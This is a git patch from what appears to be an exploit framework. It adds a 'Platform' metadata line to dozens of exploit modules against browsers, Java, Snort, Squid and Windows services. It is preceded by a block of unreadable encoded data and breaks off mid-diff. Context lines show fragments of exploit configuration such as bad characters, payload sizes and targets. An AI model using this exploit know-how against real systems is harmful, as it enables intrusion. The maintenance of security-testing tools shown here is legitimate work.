zAlAmRGos>HIUC~fojigi%2};UJsgs1HkiHU6x5+dI2dGgFg%VFcsW+Z)c8mu9=q8g z$k?C3ZM?<eSWsBqR#!KF*k$2&;lA(}Shx7BbX}Z850MHqN*C}}Zg=-2;Bp8s?CZ7n zSNo;G@6+Xcc%5wUv2&5$X9pVVh28*TsyPUvzGIjj1k(N6z8!ku7vUe_-PoJh9iNp6 z9q`{81k!U@+1zrTVj60b-Xw*5g<Zoja)ac7L+Ti%ed$KJ3!OMiAJIyzCTj%i_#MB_ zv$<tmA1kQaVw9KR#|MLh<Y0cVBv>A_gbvOH^AiAS2&g-9EIu*^=k6sJ$P-cmc8j3v z@6*p=<>%8S@Q8=$E&71|OAD}oHDWDTN7e_9qJ*d_qVFU9juNS&k{5V2z53q!2$560 z1>O=6%-eozf0@6=-w1N~$B%=?jh2(3<j3S?nG=3LQPomI)LIzy%PLp!dN4bP=zOLb z#JhR8I97{`@maf`%}yuQgH2#lS<Fv#gCBm`eIyE@%`}QW50N9}IQf-agp9gX{*LJ{ zmlevS3UNRZg2H5!e~DV5zEwZMrk%yc=Q{YS0)p0n0Dn|d=hAT|uc=}@)7o?~Cy;Mj zhTX%}uw?(=ih|Coj)X~n>~uuB98bO^jPBq;EdRF?1F_F3?e*~o_(S~>{%C)^pW;vT zXZ!Q~Q~+|7zuy1W-|p}9_xk(&SCkXf3_cH1f<-|M-B>TddLlQNu{2`b;8^b?*|O4c zCFdT3TTA*YWo#9@$l`e&nEMRg!7V8sd9U~t{m_5cpA(FXV(T|g9|5u(z!Ko=@x7Q> zQt3_i(ClnGAL<T8mQ9w=<ag@(;Basri--q74qZUk#I|dpZiRh;woTy-X4sW*0_W@t zTR0@4h1U1Qx@~3bO_j<P>4b;H%B`96A%yv=QyE}vNrsc?SBROh_1kP(n>B?g91N4W zifv_Oc_Rddg}}vde}(LUjo&MQtBt;92HVlLQ1~h~dK|--wNi8Nfe{>#7r|;7$fzaz zlV!3|d^}Q48h6}x-QnPqcCxqpLGRNCaNTr$QlCZbE=6I8ZovIL)!WQ*j8we+0PZGI z9Uqmz3-0kR>*1i#xls5Y;c))K?Fxpkg>Q$AaXTy%nq-U2hu3TBeBcaprbASJ!noaW z;$gfKu_bMSZVv-XreRmQpZrGthSw;FK*GU{ZQ#2<qtS)Pxuw|{HVYiMogHR>fC=My z5uOMMX_U2O8^`Cs_3r1#F_e#ZS*(w`xGMpjcu@p0?Th*d9eu<|F-@e2&0;@xgMUL) z%ENBd@>;=c48uBRp|=6MpL-DNivBx(2fwdB%Abze+7k5-W0RTbzXb8=g*likm&#3Y z7tG{M`CJxPf$E5K{3FPx2xO%zQsJ`T8|=mo1V@8kgR@xDT@C&M&pim9VEA6rd2~Tt z3`^P4y1cFe^WuS^8-o3M!iEk3))widdJSSttPw}_37vFSU(uQRk&ZV-O(j#!_@<6& zf~@nA>1&3XNoKKGX4aV<@B``Qyt#qw6S3KC9$UZ`v#;4w2pim5Th}&&P5sdJv%^46 WU!sLeV9B<W=#=BCH+_9v!T$qKSmB-k From 0acb170ee849fbc9d06f991d770581cf349dd07a Mon Sep 17 00:00:00 2001 From: Winterspite <barrettj@gmail.com> Date: Tue, 8 Oct 2013 22:41:50 -0400 Subject: [PATCH 154/210] Bug #8419 - Added platform info missing on exploits --- modules/exploits/apple_ios/browser/safari_libtiff.rb | 1 + modules/exploits/apple_ios/email/mobilemail_libtiff.rb | 1 + modules/exploits/linux/ids/snortbopre.rb | 1 + modules/exploits/linux/proxy/squid_ntlm_authenticate.rb | 1 + modules/exploits/multi/browser/firefox_escape_retval.rb | 1 + modules/exploits/multi/browser/firefox_queryinterface.rb | 1 + modules/exploits/multi/browser/firefox_svg_plugin.rb | 1 + modules/exploits/multi/browser/itms_overflow.rb | 1 + modules/exploits/multi/browser/java_getsoundbank_bof.rb | 1 + modules/exploits/multi/browser/java_setdifficm_bof.rb | 1 + modules/exploits/multi/browser/mozilla_compareto.rb | 1 + modules/exploits/multi/browser/mozilla_navigatorjava.rb | 1 + modules/exploits/multi/browser/opera_configoverwrite.rb | 1 + modules/exploits/multi/browser/opera_historysearch.rb | 1 + modules/exploits/multi/browser/qtjava_pointer.rb | 1 + modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb | 1 + modules/exploits/multi/fileformat/maple_maplet.rb | 1 + modules/exploits/multi/http/hp_sys_mgmt_exec.rb | 1 + modules/exploits/multi/http/jenkins_script_console.rb | 1 + modules/exploits/multi/http/netwin_surgeftp_exec.rb | 1 + modules/exploits/multi/http/splunk_mappy_exec.rb | 1 + modules/exploits/multi/http/splunk_upload_app_exec.rb | 1 + modules/exploits/multi/ids/snort_dce_rpc.rb | 1 + modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb | 1 + .../exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb | 1 + modules/exploits/multi/php/php_unserialize_zval_cookie.rb | 1 + modules/exploits/multi/realserver/describe.rb | 1 + modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb | 1 + modules/exploits/osx/afp/loginext.rb | 1 + modules/exploits/osx/arkeia/type77.rb | 1 + modules/exploits/osx/browser/safari_metadata_archive.rb | 1 + modules/exploits/osx/email/mailapp_image_exec.rb | 2 +- modules/exploits/osx/ftp/webstar_ftp_user.rb | 1 + modules/exploits/windows/arkeia/type77.rb | 1 + modules/exploits/windows/backupexec/name_service.rb | 1 + modules/exploits/windows/backupexec/remote_agent.rb | 1 + modules/exploits/windows/brightstor/discovery_tcp.rb | 1 + modules/exploits/windows/brightstor/discovery_udp.rb | 1 + modules/exploits/windows/brightstor/sql_agent.rb | 1 + modules/exploits/windows/brightstor/universal_agent.rb | 1 + modules/exploits/windows/browser/aim_goaway.rb | 1 + modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb | 1 + modules/exploits/windows/browser/mozilla_interleaved_write.rb | 1 + modules/exploits/windows/browser/mozilla_nstreerange.rb | 1 + modules/exploits/windows/browser/ms03_020_ie_objecttype.rb | 1 + modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb | 1 + modules/exploits/windows/dcerpc/ms03_026_dcom.rb | 1 + modules/exploits/windows/dcerpc/ms05_017_msmq.rb | 1 + modules/exploits/windows/dcerpc/ms07_065_msmq.rb | 1 + modules/exploits/windows/ftp/3cdaemon_ftp_user.rb | 1 + modules/exploits/windows/ftp/freeftpd_user.rb | 1 + modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb | 1 + modules/exploits/windows/ftp/servu_mdtm.rb | 1 + modules/exploits/windows/ftp/warftpd_165_pass.rb | 1 + modules/exploits/windows/novell/zenworks_desktop_agent.rb | 1 + modules/exploits/windows/unicenter/cam_log_security.rb | 1 + modules/exploits/windows/wins/ms04_045_wins.rb | 1 + 57 files changed, 57 insertions(+), 1 deletion(-) diff --git a/modules/exploits/apple_ios/browser/safari_libtiff.rb b/modules/exploits/apple_ios/browser/safari_libtiff.rb index e973180c92..5ec03ba846 100644 --- a/modules/exploits/apple_ios/browser/safari_libtiff.rb +++ b/modules/exploits/apple_ios/browser/safari_libtiff.rb @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote ].pack("V*") }, 'Arch' => ARCH_ARMLE, + 'Platform' => %w{ osx }, 'Targets' => [ diff --git a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb index 23dcd9d6c5..e55a134f72 100644 --- a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb +++ b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote }, }, 'Arch' => ARCH_ARMLE, + 'Platform' => %w{ osx }, 'Targets' => [ diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb index e5e4474e3e..f8b88a2f0c 100644 --- a/modules/exploits/linux/ids/snortbopre.rb +++ b/modules/exploits/linux/ids/snortbopre.rb @@ -35,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1073, #ret : 1069 'BadChars' => "\x00", }, + 'Platform' => %w{ linux }, 'Targets' => [ # Target 0: Debian 3.1 Sarge diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb index 82f0cb9479..a06a1dbeea 100644 --- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb +++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'PrependEncoder' => "\x83\xec\x7f", }, + 'Platform' => 'linux', 'Targets' => [ [ 'Linux Bruteforce', diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb index 6cf25b1b8f..490509e7aa 100644 --- a/modules/exploits/multi/browser/firefox_escape_retval.rb +++ b/modules/exploits/multi/browser/firefox_escape_retval.rb @@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1000 + (rand(256).to_i * 4), 'BadChars' => "\x00", }, + 'Platform' => %w{ win osx }, 'Targets' => [ [ 'Firefox 3.5.0 on Windows XP SP0-SP3', diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb index 8dcbe2bb0b..47078e3728 100644 --- a/modules/exploits/multi/browser/firefox_queryinterface.rb +++ b/modules/exploits/multi/browser/firefox_queryinterface.rb @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1000 + (rand(256).to_i * 4), 'BadChars' => "\x00", }, + 'Platform' => %w{ osx linux }, 'Targets' => [ [ 'Firefox 1.5.0.0 Mac OS X', diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index bae40e6165..d164f99590 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -33,6 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote with script access should be able to trigger it. }, 'License' => MSF_LICENSE, + 'Platform' => %w{ linux osx win }, 'Targets' => [ [ 'Automatic', diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index c3f11c4aa1..27d104ae48 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -57,6 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BufferOffset' => 3, # See the comments below }, }, + 'Platform' => %w{ osx }, 'Targets' => [ [ diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index b8f55467cc..ec7be08a02 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '', 'DisableNops' => true, }, + 'Platform' => %w{ win osx }, 'Targets' => [ =begin diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index a48d602e39..ebef609d7d 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '', 'DisableNops' => true, }, + 'Platform' => %w{ win osx }, 'Targets' => [ =begin diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index 386138f449..119e0dcf5f 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 400, 'BadChars' => "\x00", }, + 'Platform' => %w{ win }, 'Targets' => [ # Tested against Firefox 1.0.4 and Mozilla 1.7.1 on diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index 226ab29d7d..0b76588660 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -51,6 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 512, 'BadChars' => "", }, + 'Platform' => %w{ win linux osx }, 'Targets' => [ [ 'Firefox 1.5.0.4 Windows x86', diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb index 55c09e7afa..9a92490e3d 100644 --- a/modules/exploits/multi/browser/opera_configoverwrite.rb +++ b/modules/exploits/multi/browser/opera_configoverwrite.rb @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, 'BadChars' => " ", }, + 'Platform' => %w{ unix }, 'Targets' => [ #[ 'Opera < 9.10 Windows', diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index 76d130a87e..52669c41f8 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote 'RequiredCmd' => 'generic perl ruby telnet', } }, + 'Platform' => %w{ unix }, 'Targets' => [ #[ 'Automatic', { } ], diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb index 5b2a687a87..e57a45e14a 100644 --- a/modules/exploits/multi/browser/qtjava_pointer.rb +++ b/modules/exploits/multi/browser/qtjava_pointer.rb @@ -44,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'BadChars' => '' }, + 'Platform' => %w{ win osx }, 'Targets' => [ # diff --git a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb index 8789ad6bab..02619d262c 100644 --- a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb +++ b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb @@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'DisableNops' => true }, + 'Platform' => %w{ win linux }, 'Targets' => [ # test results (on Windows XP SP3) diff --git a/modules/exploits/multi/fileformat/maple_maplet.rb b/modules/exploits/multi/fileformat/maple_maplet.rb index 91d22571c5..9b5a1fe006 100644 --- a/modules/exploits/multi/fileformat/maple_maplet.rb +++ b/modules/exploits/multi/fileformat/maple_maplet.rb @@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote # 'RequiredCmd' => 'generic perl telnet', # } }, + 'Platform' => %w{ win linux unix }, 'Targets' => [ [ 'Windows', diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index 503a510e31..a3defc152b 100755 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'SSL' => true }, + 'Platform' => %w{ linux win }, 'Targets' => [ ['Linux', { diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 151fd1a05c..18586f0e4a 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] ], + 'Platform' => %w{ win linux unix }, 'Targets' => [ ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index af89efb307..750481a0f9 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '89105' ], [ 'EDB', '23522' ] ], + 'Platform' => %w{ win unix }, 'Targets' => [ [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ], diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index 4d73de0a46..93caf79f24 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Badchars' => '', 'DisableNops' => true }, + 'Platform' => %w{ linux unix win }, 'Targets' => [ [ diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 5cba7b1377..2df71a916f 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'DisableNops' => true }, + 'Platform' => %w{ linux unix win }, 'Targets' => [ [ 'Splunk 5.0.1 / Linux', diff --git a/modules/exploits/multi/ids/snort_dce_rpc.rb b/modules/exploits/multi/ids/snort_dce_rpc.rb index b6faddb377..82c72d112c 100644 --- a/modules/exploits/multi/ids/snort_dce_rpc.rb +++ b/modules/exploits/multi/ids/snort_dce_rpc.rb @@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'DisableNops' => true, }, + 'Platform' => %w{ win linux }, 'Targets' => [ [ diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb index 2c46c6feeb..45c5d3b415 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb @@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'DisableNops' => true, }, + 'Platform' => %w{ linux osx win }, 'Targets' => [ [ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)', diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb index a4d5ad6264..0d1a8e6c26 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb @@ -63,6 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, }, 'DefaultTarget' => 4, + 'Platform' => %w{ linux osx win }, 'Targets' => [ [ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)', diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index 5b534c7243..d4d17f7c40 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -51,6 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'Space' => 1024, }, + 'Platform' => %w{ linux }, 'Targets' => [ diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb index b4267b717a..247010d8b1 100644 --- a/modules/exploits/multi/realserver/describe.rb +++ b/modules/exploits/multi/realserver/describe.rb @@ -35,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 2000, 'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d" }, + 'Platform' => %w{ bsd linux win }, 'Targets' => [ [ diff --git a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb index 224a7b112c..4a89966548 100644 --- a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb +++ b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'process', }, + 'Platform' => %w{ win linux }, 'Targets' => [ [ 'Windows XPe x86',{'Platform' => 'win',}], diff --git a/modules/exploits/osx/afp/loginext.rb b/modules/exploits/osx/afp/loginext.rb index e46b40d269..968d2cf8ec 100644 --- a/modules/exploits/osx/afp/loginext.rb +++ b/modules/exploits/osx/afp/loginext.rb @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => "+find" } }, + 'Platform' => %w{ osx }, 'Targets' => [ # Target 0 diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb index 3a9d99c680..da5a189826 100644 --- a/modules/exploits/osx/arkeia/type77.rb +++ b/modules/exploits/osx/arkeia/type77.rb @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => '-find', }, }, + 'Platform' => %w{ osx }, 'Targets' => [ [ diff --git a/modules/exploits/osx/browser/safari_metadata_archive.rb b/modules/exploits/osx/browser/safari_metadata_archive.rb index 4b9dfa2ec0..00beadb73a 100644 --- a/modules/exploits/osx/browser/safari_metadata_archive.rb +++ b/modules/exploits/osx/browser/safari_metadata_archive.rb @@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote 'RequiredCmd' => 'generic perl ruby telnet', } }, + 'Platform' => %w{ unix }, 'Targets' => [ # Target 0: Automatic diff --git a/modules/exploits/osx/email/mailapp_image_exec.rb b/modules/exploits/osx/email/mailapp_image_exec.rb index fc532137d2..0a1822ccc8 100644 --- a/modules/exploits/osx/email/mailapp_image_exec.rb +++ b/modules/exploits/osx/email/mailapp_image_exec.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => '-bind -find', }, }, - + 'Platform' => %w{ unix osx }, 'Targets' => [ [ 'Mail.app - Command Payloads', diff --git a/modules/exploits/osx/ftp/webstar_ftp_user.rb b/modules/exploits/osx/ftp/webstar_ftp_user.rb index 5f5fc211fd..f13c077c9e 100644 --- a/modules/exploits/osx/ftp/webstar_ftp_user.rb +++ b/modules/exploits/osx/ftp/webstar_ftp_user.rb @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => "+find" }, }, + 'Platform' => %w{ osx }, 'Targets' => [ [ diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb index d0b563e7f6..2f6c356b1f 100644 --- a/modules/exploits/windows/arkeia/type77.rb +++ b/modules/exploits/windows/arkeia/type77.rb @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ ['Arkeia 5.3.3 and 5.2.27 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x004130a2, 5 ] }], # arkeiad.exe diff --git a/modules/exploits/windows/backupexec/name_service.rb b/modules/exploits/windows/backupexec/name_service.rb index f60f1110f1..662a03bbb1 100644 --- a/modules/exploits/windows/backupexec/name_service.rb +++ b/modules/exploits/windows/backupexec/name_service.rb @@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'MinNops' => 512, 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb index 9c2a933dd0..5efaba18f4 100644 --- a/modules/exploits/windows/backupexec/remote_agent.rb +++ b/modules/exploits/windows/backupexec/remote_agent.rb @@ -44,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/brightstor/discovery_tcp.rb b/modules/exploits/windows/brightstor/discovery_tcp.rb index 44292b5926..9acd795141 100644 --- a/modules/exploits/windows/brightstor/discovery_tcp.rb +++ b/modules/exploits/windows/brightstor/discovery_tcp.rb @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/brightstor/discovery_udp.rb b/modules/exploits/windows/brightstor/discovery_udp.rb index 27db6f2d76..29cd94f28e 100644 --- a/modules/exploits/windows/brightstor/discovery_udp.rb +++ b/modules/exploits/windows/brightstor/discovery_udp.rb @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/brightstor/sql_agent.rb b/modules/exploits/windows/brightstor/sql_agent.rb index 8a2f135153..5ec798d8af 100644 --- a/modules/exploits/windows/brightstor/sql_agent.rb +++ b/modules/exploits/windows/brightstor/sql_agent.rb @@ -37,6 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ # This exploit requires a jmp esp for return diff --git a/modules/exploits/windows/brightstor/universal_agent.rb b/modules/exploits/windows/brightstor/universal_agent.rb index 6ca76283d6..4de45ec8e5 100644 --- a/modules/exploits/windows/brightstor/universal_agent.rb +++ b/modules/exploits/windows/brightstor/universal_agent.rb @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/browser/aim_goaway.rb b/modules/exploits/windows/browser/aim_goaway.rb index 56382b0a45..dcd3c0cbdb 100644 --- a/modules/exploits/windows/browser/aim_goaway.rb +++ b/modules/exploits/windows/browser/aim_goaway.rb @@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ # Target 0: Automatic diff --git a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb index c9fe709940..c1005c1bd1 100644 --- a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb +++ b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb @@ -44,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BufferOffset' => 0x8 } }, + 'Platform' => %{ win }, 'Targets' => [ # Target 0: Automatic diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index 91cb9cf958..232befaf75 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -59,6 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'BadChars' => "", }, + 'Platform' => %w{ win }, 'Targets' => [ # Tested against Firefox 3.6.8, 3.6.9, 3.6.10, and 3.6.11 on WinXP and Windows Server 2003 diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index 64707d985e..755c57a686 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'Space' => 0x1000, # depending on the spray size it's actually a lot more }, + 'Platform' => %w{ win }, 'Targets' => [ [ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)', diff --git a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb index a1d0b66b19..bc8dbfab33 100644 --- a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb +++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb @@ -36,6 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x8b\xe2", # Prevent UTF-8-ification 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ # Target 0: Automatic diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb index d9e0965f5c..530c058245 100644 --- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb +++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'InitialAutoRunScript' => 'migrate -f', }, + 'Platform' => %w{ win }, 'Targets' => [ # Target 0: Automatic diff --git a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb index 8c63e71f2a..f4d6f0ff58 100644 --- a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb +++ b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500 }, + 'Platform' => %w{ win }, 'Targets' => [ # Target 0: Universal diff --git 